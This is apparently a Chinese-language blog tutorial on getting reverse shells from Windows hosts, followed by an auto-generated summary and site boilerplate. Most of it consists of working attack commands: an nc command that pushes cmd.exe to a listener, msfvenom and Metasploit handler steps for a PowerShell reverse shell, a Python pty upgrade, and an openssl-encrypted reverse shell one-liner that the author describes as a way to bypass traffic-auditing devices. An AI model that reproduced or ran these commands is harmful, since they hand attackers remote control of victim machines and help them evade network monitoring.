Windows下反弹shell的方式

一、Windows下反弹shell

1.nc反弹
(1)我们先在被控制主机下载netcat。netcat下载

(2)cmd下打开下载目录,输入:

nc 192.168.59.131 9999 -e C:\Users\21124\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\cmd.exe(本机cmd文件路径)

(3)可以看到shell是反弹回来的,但是可能由于防火墙的原因,控制极其不稳定。
在这里插入图片描述
在这里插入图片描述
2.msf反弹
(1)使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse),找出我们可能需要的payload。
(2)使用msfvenom生成一个powershell类型的木马。
(3)开启监听端口。
(4)目标机在cmd下执行生成的powershell脚本,powershell下执行好像反弹不了。可以看到,这里是反弹成功的。

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.40.146 LPORT=4444
use exploit/multi/handler
show options
set LHOST your-ip
show options(查看是否配置齐全)
run

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.利用CS主机上线。

二、交互式shell与非交互式shell

交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。
通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为“哑”shell。
通常存在以下缺点
1.ctrl-c会中断会话;
2.无法正常使用vim等文本编辑器;
3.没有向上箭头使用历史;
4.无法执行交互式命令;
5.无法查看错误输出;
6.无法使用 tab 命令补全;
7.无法操控jobcontrol。
**因此有必要去获取一个完全交互的shell,**方法就是在shell 中执行python,使用pty模块,创建一个原生的终端。下面提供两条命令,主要是因为有的机器可能是python2,有的是3,我这里是python2。

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
可以看到我们通过nc反弹得到的shell并不是一个完全交互的shell,输入的cat、ifconfig命令是无效的;在我们通过python得到的完全交互式shell可以实现对被控制主机的任意操作。

三、流量加密

部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。因此需要将原始流量使用 openssl 加密,绕过流量审计设备。
1、首先kali上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

2、kali使用 OpenSSL 监听一个端口。

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

3、目标主机执行反弹加密shell。

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

在这里插入图片描述
在这里插入图片描述

我们可以通过wireshark查看流量是否被加密,由于我不会使用wireshark,就先留着吧,以后来填坑。

原文链接:https://blog.csdn.net/weixin_44288604/article/details/111740527

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Windows系统中,反弹shell是一种常见的攻击技术,用于获取对目标机器的远程访问权限。有几种常见的方法可以实现Windows反弹shell。 一种方法是使用Metasploit框架。首先,使用msfvenom生成一个powershell类型的木马,然后开启监听端口。目标机在命令提示符下执行生成的powershell脚本,即可实现反弹shell。需要注意的是,有时由于防火墙的原因,控制可能会不稳定。\[1\] 另一种方法是使用nc(netcat)工具进行反弹。通过nc反弹得到的shell可能不是一个完全交互的shell,某些命令可能无效。相比之下,通过Python脚本得到的shell可以实现对被控制主机的任意操作。\[2\] 此外,还有一些基于PowerShell的攻击框架,如Nishang,它集合了一些PowerShell攻击脚本和有效载荷,可用于反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的shell。\[3\] 总结起来,Windows反弹shell的方法包括使用Metasploit框架、nc工具以及基于PowerShell的攻击框架。具体选择哪种方法取决于实际需求和环境。 #### 引用[.reference_title] - *1* *2* [Windows反弹shell方式](https://blog.csdn.net/ws1813004226/article/details/117248359)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Windows反弹shell的方法](https://blog.csdn.net/qq_39101049/article/details/96191861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值